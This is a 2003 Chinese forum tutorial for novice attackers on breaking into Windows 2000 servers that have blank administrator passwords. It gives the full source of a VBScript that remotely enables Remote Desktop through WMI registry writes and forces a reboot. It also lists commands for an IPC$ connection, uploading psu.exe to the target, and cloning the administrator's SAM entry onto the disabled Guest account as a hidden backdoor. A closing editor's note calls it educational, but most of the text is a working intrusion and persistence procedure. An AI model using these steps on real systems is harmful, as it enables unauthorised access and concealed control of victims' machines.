一次简单的3389入侵过程


创建时间:2003-02-19

文章属性:原创

文章来源:中国欲网技术论坛--草哲

文章提交:


(cao610_at_yeah.net)


我在网上看到很多很多教你如何如何入侵之类的文章,我觉得对于菜鸟来说根本是看不懂的!


于是呢,我冒出个想法!想写篇简单点的,适合菜鸟的文章!把我学到的跟大家说一下~!

要入侵,我建议你在win2000环境下来*作!


首先,要入侵,你得有工具!我向大家推荐几款软件,也是我一直用的东西!

扫描的X-Scan V2.3、WINNTAutoAttack、流光!

X-Scan我最近很少用了,基本用的都是WINNTAutoAttack,当然,小榕的流光我也经常用!

远程开终端需要一个脚本就可以了,代码请看二楼!保存为*.vbe(我保存的是rots.vbe)

克隆帐户用个psu就可以了~!


OK,比如扫描到了一个有NT弱口令的服务器,IP地址是120.0.0.1,管理员帐户是administrator,密码为空

运行CMD(2000下的DOS),我们给它开终端!

命令如下!

cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr

上面的命令应该可以理解吧?cscript rots.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为120.0.0.1这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)


因为终端服务器只在win2000 server以上的版本(包括server)才有,PRO当然是不行的,此版本可以检测服务器的版本,如果是PRO的则提示你退出安装!


一切顺利,过会就可以连接到终端了,我们可以ping它,看是否重启,ping 120.0.0.1 -t

安装后用连接工具连接终端!现在我们克隆帐户,呵呵,为了给以后方便嘛!


回到DOS下!我们建立IPC$连接!

net use //120.0.0.1/ipc$ "" /user:"administrator"

这个命令我想应该可以理解吧!命令完成后,我们把psu上传到目标机的winnt/system32目录下!

copy psu.exe //120.0.0.1/admin$/system32

上传完毕后,开始在肉鸡做后门帐户!看肉鸡!


假设guest用户被禁用,我们就是要利用guest做后门帐户!

在该服务器运行CMD,在命令行下输入

psu -p regedit -i PID


这里解释一下,后面的PID是系统进程winlogon的值,我们在任务栏下点鼠标右键,看任务管理器!

看进程选项卡,找到winlogon的进程,后面的数值就是winlogon的pid值,假设是5458

那么,命令就是这样

psu -p regedit -i 5458

这样直接打开注册表,可以读取本地sam的信息。

打开键值HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users

下面的就是本地的用户信息了!我们要做的是把禁用的guest克隆成管理员权限的帐户!

HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names

查看administrator的类型,是if4,再看guest的是if5

好了,知道了类型后,打开

HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000001F4

这个值,双击右侧的F,把里面乱七八糟的字符复制下来,然后打开

HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000001F5

双击右侧的F,把刚复制的粘贴到里面!


做好了以后,把HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000001F5

和HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names/Guest

这两个键值导出,导出后把那两个键值删除!然后再导入进来!关闭注册表。


打开CMD,在命令行下输入

net user guest password

这条命令是给guest设置密码,后面的password就是密码

然后输入

net user guest /active:y

这命令是激活guest帐户,然后我们把他禁用

net user guest /active:n

上面的三行命令必须在DOS下执行!


OK了,打开计算机管理,看用户,你们看,guest帐户还是被禁用的~!哈哈,但它已经拥有管理员权限了!

而且并不在管理员组里显示,还可以登陆终端,跟administrator帐户一样的!


注销一下,用guest登陆吧!


打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊!

如果还有地方不明白的话,可以问我,我知道的一定告诉大家!


因为本人也是菜鸟级的,会了点东西就不知道怎么好了,呵呵~`!如果哪里有不对的,还请高手指点啊~!


----------------------------------------------------------------------

以下是开终端的脚本,把它存为*.vbe

on error resume next
set outstreem=wscript.stdout
set instreem=wscript.stdin
if (lcase(right(wscript.fullname,11))="wscript.exe") then
set objShell=wscript.createObject("wscript.shell")
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
wscript.quit
end if
if wscript.arguments.count<3 then
usage()
wscript.echo "Not enough parameters."
wscript.quit
end if

ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
if wscript.arguments.count>3 then
port=wscript.arguments(3)
else
port=3389
end if
if not isnumeric(port) or port<1 or port>65000 then
wscript.echo "The number of port is error."
wscript.quit
end if
if wscript.arguments.count>4 then
reboot=wscript.arguments(4)
else
reboot=""
end if

usage()
outstreem.write "Conneting "&ipaddress&" ...."
set objlocator=createobject("wbemscripting.swbemlocator")
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
showerror(err.number)
objswbemservices.security_.privileges.add 23,true
objswbemservices.security_.privileges.add 18,true

outstreem.write "Checking OS type...."
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")
for each objinstoscaption in colinstoscaption
if instr(objinstoscaption.caption,"Server")>0 then
wscript.echo "OK!"
else
wscript.echo "OS type is "&objinstoscaption.caption
outstreem.write "Do you want to cancel setup?[y/n]"
strcancel=instreem.readline
if lcase(strcancel)<>"n" then wscript.quit
end if
next

outstreem.write "Writing into registry ...."
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
HKLM=&h80000002
HKU=&h80000003
with objinstreg
.createkey ,"SOFTWARE/Microsoft/Windows/CurrentVersion/netcache"
.setdwordvalue HKLM,"SOFTWARE/Microsoft/Windows/CurrentVersion/netcache","Enabled",0
.createkey HKLM,"SOFTWARE/Policies/Microsoft/Windows/Installer"
.setdwordvalue HKLM,"SOFTWARE/Policies/Microsoft/Windows/Installer","EnableAdminTSRemote",1
.setdwordvalue HKLM,"SYSTEM/CurrentControlSet/Control/Terminal Server","TSEnabled",1
.setdwordvalue HKLM,"SYSTEM/CurrentControlSet/Services/TermDD","Start",2
.setdwordvalue HKLM,"SYSTEM/CurrentControlSet/Services/TermService","Start",2
.setstringvalue HKU,".DEFAULT/Keyboard Layout/Toggle","Hotkey","1"
.setdwordvalue HKLM,"SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp","PortNumber",port
end with
showerror(err.number)

rebt=lcase(reboot)
flag=0
if rebt="/r" or rebt="-r" or rebt="/r" then flag=2
if rebt="/fr" or rebt="-fr" or rebt="/fr" then flag=6
if flag<>0 then
outstreem.write "Now, reboot target...."
strwqlquery="select * from win32_operatingsystem where primary='true'"
set colinstances=objswbemservices.execquery(strwqlquery)
for each objinstance in colinstances
objinstance.win32shutdown(flag)
next
showerror(err.number)
else
wscript.echo "You need to reboot target."&vbcrlf&"Then,"
end if
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"

function showerror(errornumber)
if errornumber Then
wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
if err.description <> "" then
wscript.echo "Error description: "&err.description&"."
end if
wscript.quit
else
wscript.echo "OK!"
end if
end function

function usage()
wscript.echo string(79,"*")
wscript.echo "ROTS v1.05"
wscript.echo "Remote Open Terminal services Script, by 草哲"
wscript.echo "Welcome to visite
​​www.5458.net"​​

wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"
wscript.echo "port: default number is 3389."
wscript.echo "/r: auto reboot target."
wscript.echo "/fr: auto force reboot target."
wscript.echo string(79,"*")&vbcrlf
end function




root注:本文写得较为简单,作为让初学网络安全者了解黑客攻击流程和方法的文章,还是有一定价值的。